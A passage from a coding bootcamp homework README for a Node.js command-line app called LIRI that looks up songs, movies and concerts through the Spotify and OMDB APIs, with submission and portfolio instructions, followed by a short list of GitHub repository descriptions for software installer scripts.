terminal: * Name of the venue * Venue location * Date of the Event (use moment to format this as "MM/DD/YYYY") 2. `node liri.js spotify-this-song '<song name here>'` * This will show the following information about the song in your terminal/bash window * Artist(s) * The song's name * A preview link of the song from Spotify * The album that the song is from * If no song is provided then your program will default to "The Sign" by Ace of Base. * You will utilize the [node-spotify-api](https://www.npmjs.com/package/node-spotify-api) package in order to retrieve song information from the Spotify API. * The Spotify API requires you sign up as a developer to generate the necessary credentials. You can follow these steps in order to generate a **client id** and **client secret**: * Step One: Visit <https://developer.spotify.com/my-applications/#!/> * Step Two: Either login to your existing Spotify account or create a new one (a free account is fine) and log in. * Step Three: Once logged in, navigate to <https://developer.spotify.com/my-applications/#!/applications/create> to register a new application to be used with the Spotify API. You can fill in whatever you'd like for these fields. When finished, click the "complete" button. * Step Four: On the next screen, scroll down to where you see your client id and client secret. Copy these values down somewhere, you'll need them to use the Spotify API and the [node-spotify-api package](https://www.npmjs.com/package/node-spotify-api). 3. `node liri.js movie-this '<movie name here>'` * This will output the following information to your terminal/bash window: ``` * Title of the movie. * Year the movie came out. * IMDB Rating of the movie. * Rotten Tomatoes Rating of the movie. * Country where the movie was produced. * Language of the movie. * Plot of the movie. * Actors in the movie. ``` * If the user doesn't type a movie in, the program will output data for the movie 'Mr. Nobody.' * If you haven't watched "Mr. Nobody," then you should: <http://www.imdb.com/title/tt0485947/> * It's on Netflix! * You'll use the `axios` package to retrieve data from the OMDB API. Like all of the in-class activities, the OMDB API requires an API key. You may use `trilogy`. 4. `node liri.js do-what-it-says` * Using the `fs` Node package, LIRI will take the text inside of random.txt and then use it to call one of LIRI's commands. * It should run `spotify-this-song` for "I Want it That Way," as follows the text in `random.txt`. * Edit the text in random.txt to test out the feature for movie-this and concert-this. ### BONUS * In addition to logging the data to your terminal/bash window, output the data to a .txt file called `log.txt`. * Make sure you append each command you run to the `log.txt` file. * Do not overwrite your file each time you run a command. ### Reminder: Submission on BCS * Please submit the link to the Github Repository! - - - ### Minimum Requirements Attempt to complete homework assignment as described in instructions. If unable to complete certain portions, please pseudocode these portions to describe what remains to be completed. Adding a README.md as well as adding this homework to your portfolio are required as well and more information can be found below. - - - ### Create a README.md Add a `README.md` to your repository describing the project. Here are some resources for creating your `README.md`. Here are some resources to help you along the way: * [About READMEs](https://help.github.com/articles/about-readmes/) * [Mastering Markdown](https://guides.github.com/features/mastering-markdown/) - - - ### Add To Your Portfolio After completing the homework please add the piece to your portfolio. Make sure to add a link to your updated portfolio in the comments section of your homework so the TAs can easily ensure you completed this step when they are grading the assignment. To receive an 'A' on any assignment, you must link to it from your portfolio. - - - ### One More Thing If you have any questions about this project or the material we have covered, please post them in the community channels in slack so that your fellow developers can help you! If you're still having trouble, you can come to office hours for assistance from your instructor and TAs. **Good Luck!**
erikdubois / ArchCinnamonAutomated script to install cinnamon and all its programs on Arch Linux
kndndrj / WienerInstall Wine programs on Arch
jdpedersen1 / AutoconfigScript that will automatically install and configure versions of my system setup with different window managers. Contains all basic necessary programs to get system up and working
HaHaWTH / MCModCheckerA simple Python program to get which mod should be installed on client/server side.
outerelocarlos / Windows Batch InstallerPowerShell project to install multiple programs at once using WinGet and/or Chocolatey.
bvschaik / Caesar3unpackerUtility program to unpack the Caesar 3 installer files for Mac